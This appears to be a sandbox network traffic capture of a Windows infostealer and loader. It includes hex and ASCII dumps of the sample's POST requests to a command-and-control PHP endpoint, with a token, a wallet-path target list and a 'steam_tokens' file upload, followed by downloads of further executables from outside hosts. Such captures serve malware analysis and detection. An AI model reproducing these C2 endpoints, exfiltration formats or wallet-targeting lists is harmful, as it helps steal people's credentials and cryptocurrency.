6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 28, 2024 08:55:59.179662943 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEBGIEGCFHCFHIDHIJEC Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 42 47 49 45 47 43 46 48 43 46 48 49 44 48 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 35 32 37 32 33 33 37 33 61 61 64 31 33 34 33 32 61 64 66 37 65 64 66 38 39 30 35 65 31 33 66 61 38 39 32 62 65 38 62 38 62 38 38 62 32 30 64 32 31 64 64 39 35 35 32 33 66 32 36 66 61 30 62 34 66 32 32 39 63 30 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 47 49 45 47 43 46 48 43 46 48 49 44 48 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 47 49 45 47 43 46 48 43 46 48 49 44 48 49 4a 45 43 2d 2d 0d 0a Data Ascii: ------AEBGIEGCFHCFHIDHIJECContent-Disposition: form-data; name="token"1f52723373aad13432adf7edf8905e13fa892be8b8b88b20d21dd95523f26fa0b4f229c0------AEBGIEGCFHCFHIDHIJECContent-Disposition: form-data; name="message"files------AEBGIEGCFHCFHIDHIJEC--
Nov 28, 2024 08:55:59.637754917 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:55:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 08:55:59.654635906 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGCAFHCAKFBFIECAFIIJ Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 35 32 37 32 33 33 37 33 61 61 64 31 33 34 33 32 61 64 66 37 65 64 66 38 39 30 35 65 31 33 66 61 38 39 32 62 65 38 62 38 62 38 38 62 32 30 64 32 31 64 64 39 35 35 32 33 66 32 36 66 61 30 62 34 66 32 32 39 63 30 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BGCAFHCAKFBFIECAFIIJContent-Disposition: form-data; name="token"1f52723373aad13432adf7edf8905e13fa892be8b8b88b20d21dd95523f26fa0b4f229c0------BGCAFHCAKFBFIECAFIIJContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BGCAFHCAKFBFIECAFIIJContent-Disposition: form-data; name="file"------BGCAFHCAKFBFIECAFIIJ--
Nov 28, 2024 08:56:00.606695890 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:55:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 08:56:00.648116112 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAEHJJECAEGCAAAAEGIE Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 45 48 4a 4a 45 43 41 45 47 43 41 41 41 41 45 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 35 32 37 32 33 33 37 33 61 61 64 31 33 34 33 32 61 64 66 37 65 64 66 38 39 30 35 65 31 33 66 61 38 39 32 62 65 38 62 38 62 38 38 62 32 30 64 32 31 64 64 39 35 35 32 33 66 32 36 66 61 30 62 34 66 32 32 39 63 30 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 48 4a 4a 45 43 41 45 47 43 41 41 41 41 45 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 48 4a 4a 45 43 41 45 47 43 41 41 41 41 45 47 49 45 2d 2d 0d 0a Data Ascii: ------DAEHJJECAEGCAAAAEGIEContent-Disposition: form-data; name="token"1f52723373aad13432adf7edf8905e13fa892be8b8b88b20d21dd95523f26fa0b4f229c0------DAEHJJECAEGCAAAAEGIEContent-Disposition: form-data; name="message"ybncbhylepme------DAEHJJECAEGCAAAAEGIE--
Nov 28, 2024 08:56:01.106523991 CET	271	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49839	185.215.113.16	80	740	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 08:56:01.232322931 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 28, 2024 08:56:02.612571955 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 28 Nov 2024 07:56:02 GMT Content-Type: application/octet-stream Content-Length: 1932288 Last-Modified: Thu, 28 Nov 2024 07:35:58 GMT Connection: keep-alive ETag: "67481d5e-1d7c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 50 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfPL@L@WkDH>L=L @.rsrcD@.idata @ 0+@xfvywxal`1`@xhojyhat@LV@.taggant0PL"Z@
Nov 28, 2024 08:56:02.612622023 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 08:56:02.613229990 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 08:56:02.613298893 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 08:56:02.613343000 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 08:56:02.614226103 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 08:56:02.614269972 CET	1236	IN	Data Raw: 5c 37 cd ae 5a 2d 82 4d d1 88 b2 c3 5c 14 9f 98 99 68 b3 4f 4c 93 c6 ab 0c aa e5 7e 0f 7c 88 11 4e 18 83 8d 66 ac 14 80 4b 64 a9 8d da c4 92 90 89 9a 81 80 a3 74 bd 57 fa d8 dd 35 db 68 6b cd 67 88 c3 73 63 e8 a8 89 1a c4 b2 cf 5b 13 30 dd 13 58 Data Ascii: \7Z-M\hOL~\|NfKdtW5hkgsc[0X!wlp';OK\|YMhmd]YXU/?Td>Yti~\|LiE],DG@{}Xbt:c\Y\/i]Wd+jm8LQwK^
Nov 28, 2024 08:56:02.614314079 CET	248	IN	Data Raw: fe cc 63 cc 96 00 be bb a0 30 5c ff a5 57 b6 ff a2 46 b0 2b 60 38 af 6f c1 07 36 f7 7e 76 77 da 83 9d 70 a0 b0 41 27 8c 98 ae 68 1d 77 50 64 fd 5f 29 92 50 d7 39 c7 32 4f 86 68 70 f1 eb c9 48 eb 50 6d 3d 6b 6a 4d 63 9c b1 9b 97 08 78 fe 32 ec 25 Data Ascii: c0\WF+`8o6~vwpA'hwPd_)P92OhpHPm=kjMcx2%- LJv^D\|[3LR$mIiXtlF,,M~)Xi&yU Z/%iqoR-{_G\Z)bG!lM[Ds/ .v7!YXw
Nov 28, 2024 08:56:02.614792109 CET	1236	IN	Data Raw: ee 53 cd 8d 30 80 2a cc ed 4a b5 13 78 c5 6c 04 61 cc fc 9b 55 c3 3d c0 ad d8 25 cf 5a a3 33 3b b0 55 3a b9 3d 58 7e a9 a8 40 be 32 64 50 5c f1 0b 6f 6d 8a 0b 44 6b 93 51 79 ab b6 ec 5f f5 03 54 8a 81 27 f7 c8 b8 e8 d3 c6 a8 7c 85 18 54 d4 5c 1c Data Ascii: S0JxlaU=%Z3;U:=X~@2dP\omDkQy_T'\|T\os[~}phh\@xEj8Gnv}P9FOrbkk3$h;f\cYK:RR4THWSS=llMg&PWBdomGWN
Nov 28, 2024 08:56:02.614931107 CET	1236	IN	Data Raw: 09 47 fd 79 f5 e8 62 00 09 de 35 ef c0 89 33 4d 7b f4 e1 8c 97 54 a7 33 d2 aa 2d 53 2d fe 0c 8c 79 28 a6 87 ac 40 c2 69 12 7a a7 ca 8b 4d 99 30 7f b5 bd 91 e2 49 36 35 3b 47 61 b8 b1 a0 21 05 65 76 83 03 b4 84 e3 2f 5a 20 fa 28 dc d6 20 a2 73 31 Data Ascii: Gyb53M{T3-S-y(@izM0I65;Ga!ev/Z ( s1"x("~+L+qdO[A$X$adw{'G-+nSgMBhtCa.Vt=)Jyd_Bb)U[\|g{Hf}j~%gURU?,eSi{I
Nov 28, 2024 08:56:02.732814074 CET	1236	IN	Data Raw: 9d b4 ad de 8c 4a d1 c2 51 69 ea 7d d4 18 c7 32 39 86 74 a2 18 db b7 fd 1c 9a 4c 33 c3 09 2d b8 db 48 b3 78 5f 6b 2e 17 23 12 72 f1 43 92 a8 b1 2f c5 87 89 6c ea 58 7e 88 9b 6b 96 09 ed 54 47 57 43 3f 36 1a 44 cf 60 45 03 f1 c2 61 20 aa 8c f1 22 Data Ascii: JQi}29tL3-Hx_k.#rC/lX~kTGWC?6D`Ea "1V8h:x6:JhJpOZpi}}$d 3v;*j{yXpgo&+e2\|~: _vUz}U[)JQz[j~yiLXyBR6q@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49845	185.215.113.206	80	740	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 08:56:06.439135075 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGHIDAFCGIEHIEBFCFBA Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 48 49 44 41 46 43 47 49 45 48 49 45 42 46 43 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 35 32 37 32 33 33 37 33 61 61 64 31 33 34 33 32 61 64 66 37 65 64 66 38 39 30 35 65 31 33 66 61 38 39 32 62 65 38 62 38 62 38 38 62 32 30 64 32 31 64 64 39 35 35 32 33 66 32 36 66 61 30 62 34 66 32 32 39 63 30 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 44 41 46 43 47 49 45 48 49 45 42 46 43 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 44 41 46 43 47 49 45 48 49 45 42 46 43 46 42 41 2d 2d 0d 0a Data Ascii: ------DGHIDAFCGIEHIEBFCFBAContent-Disposition: form-data; name="token"1f52723373aad13432adf7edf8905e13fa892be8b8b88b20d21dd95523f26fa0b4f229c0------DGHIDAFCGIEHIEBFCFBAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DGHIDAFCGIEHIEBFCFBA--
Nov 28, 2024 08:56:08.380752087 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49920	185.215.113.43	80	3120	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 08:57:05.270270109 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 28, 2024 08:57:06.658705950 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 28 Nov 2024 07:57:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49926	185.215.113.43	80	3120	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 08:57:08.299043894 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 28, 2024 08:57:09.703587055 CET	762	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 28 Nov 2024 07:57:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 33 62 0d 0a 20 3c 63 3e 31 30 30 39 38 33 31 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 30 32 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 30 39 38 33 32 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 30 31 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 30 39 38 33 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 39 38 33 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 [TRUNCATED] Data Ascii: 23b <c>1009831001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#1009832001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb01ab5e45425197d1aa1daaa8#1009833001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1009834001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1009835001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1009836001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49930	31.41.244.11	80	3120	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 08:57:09.827990055 CET	62	OUT	GET /files/unique1/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 28, 2024 08:57:11.170397043 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 28 Nov 2024 07:57:10 GMT Content-Type: application/octet-stream Content-Length: 4509184 Last-Modified: Thu, 28 Nov 2024 06:29:54 GMT Connection: keep-alive ETag: "67480de2-44ce00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 25 da 45 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 4e 4b 00 00 3a 76 00 00 32 00 00 00 10 ca 00 00 10 00 00 00 60 4b 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 40 ca 00 00 04 00 00 8a 56 45 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f a0 73 00 73 00 00 00 00 90 73 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 f7 c9 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 f7 c9 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL%Eg(NK:v2`K@@VE@ _sss s6(@.rsrcsF(@.idata sH(@ 9sJ(@xdoawxra`\L(@tquinowwD@.taggant0"D@
Nov 28, 2024 08:57:11.170449018 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 08:57:11.170684099 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 08:57:11.170749903 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 08:57:11.170759916 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 08:57:11.170815945 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: uI9G5
Nov 28, 2024 08:57:11.171047926 CET	1236	IN	Data Raw: 9a da a1 f9 12 2a e3 c4 09 ee 7b c2 0e 1a 90 24 c5 6f 17 d0 02 3d 00 80 45 cb 0a 4f f1 0c b9 95 45 8e 1c c8 0a fb bd 4e 7a 3e d7 9e 12 95 36 a7 00 97 ca db 35 bb 62 46 1e 79 26 e0 c4 b5 c3 2c 32 cc ea d4 cc a5 af a2 28 dc eb fa 4d 20 99 ba c9 fa Data Ascii: *{$o=EOENz>65bFy&,2(M GeHA\fuT]DN]`$>6PiA"O<<A!g#EZFrf_V<@OZB7 edu`;&;~/'rM&Xd5}f5p
